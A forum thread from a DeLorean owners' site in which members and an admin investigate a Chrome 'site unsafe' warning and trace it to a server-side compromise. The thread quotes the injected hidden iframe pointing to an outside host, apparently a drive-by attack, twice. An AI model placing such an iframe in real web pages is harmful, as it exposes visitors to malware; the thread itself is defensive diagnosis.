When I go to this site using Google Chrome as my browser it gives me this message. It just started doing this the past day or so. Is this happening to anyone else?
DMCTalk.jpg
Posts: 3
Google Now Warning Site Unsafe
When I go to this site using Google Chrome as my browser it gives me this message. It just started doing this the past day or so. Is this happening to anyone else?
DMCTalk.jpg
Posts: 3
Apologies for the duplicate thread. I just noticed somebody already made a thread about this:
http://dmctalk.org/showthread.php?36...a-problem-here...
Location: Dahlonega GA
Posts: 2,462
Club(s): (SEDOC) (DCUK)
Chrome
Firefox
IE
All google fine for me, no warning like that when I search for the site and click on it. I'm using a PC and an iPad.
eBay selling at it's best I can tell you stock Delorians and quite a bit of slugs so the Turbo is a super nice up-grade.
K-Jet: Causing electrical issues since November 5th 1955
Location: Calgary
Posts: 982
My VIN: 3028
I got a warning as well the last two days. My Anti Virus software said it blocked the attack in all cases.
Location: North GA
Posts: 6,177
Club(s): (SEDOC) (DCUK)
FWIW, using IE and viewing the source, the following is in several pages here:
<div style='display:none'><iframe width='9' height='6' src='http://mavmor.in/loop.php' frameborder='0' scrolling='no'></iframe></div>
Location: Atlanta-ish
Posts: 2,218
My VIN: 5311
Club(s): (SEDOC) (DCUK)
I suspect it's something on each of the computers themselves that's manipulating the search results and/or code on the forum, but I'd like to take a closer look. I've tried duplicating the issue with Safari and Firefox on my MacBook Pro, Safari on my iPad, and Internet Explorer on my Windows 7 work laptop and I cannot reproduce it. That being said, these are all known-clean machines.
Ron, if you can get me the URLs for where you're seeing that source or at least MORE of the source, I can investigate further.
Location: Huntersville, NC
Posts: 1,402
My VIN: 16336 (SOLD)
Just tried all browsers as well and no issues.
Went to my office and logged in on 3 different computers with Chrome, FF, IE with no issues either.
One of DMCTalk.org's original admins
Mainly lurking, just passing through. Still enjoying reading about everyone's progress.
Location: Atlanta-ish
Posts: 2,218
My VIN: 5311
Club(s): (SEDOC) (DCUK)
Nevermind, found it. Fired up Vista in a VM and used IE to access the home page. Sure enough, I found the div.
The forum *may* be compromised. I'm still looking to see what's generating the code.
Location: Atlanta-ish
Posts: 2,218
My VIN: 5311
Club(s): (SEDOC) (DCUK)
Okay, there's good news and bad news. The good news is, there's no client-side compromise that's causing the search results and code to be manipulated. So everyone's computer is safe, at least as far as THIS specific issue.
The bad news is, it's definitely a server-side compromise of some sort:
Something on the server is inserting this particular snippet of code into the pages of the site, just above the footer. I thought it interesting when I got a warning from IE that "This site uses Java" (I got a warning because I don't have a Java Runtime installed in my VM) and I suspect this is some kind of drive-by attack.Code:ccurzio@Defiant:~$ lynx -source http://dmctalk.org/forum.php | grep mavmor <div style='display:none'><iframe width='9' height='6' src='http://mavmor.in/loop.php' frameborder='0' scrolling='no'></iframe></div>
Still investigating.
Location: Dahlonega GA
Posts: 2,462
Club(s): (SEDOC) (DCUK)
Seems other vBulletin owners have the issue as well:
https://www.vbulletin.com/forum/show...from-mavmor-in
eBay selling at it's best I can tell you stock Delorians and quite a bit of slugs so the Turbo is a super nice up-grade.
K-Jet: Causing electrical issues since November 5th 1955
Posting Permissions
Reply With Quote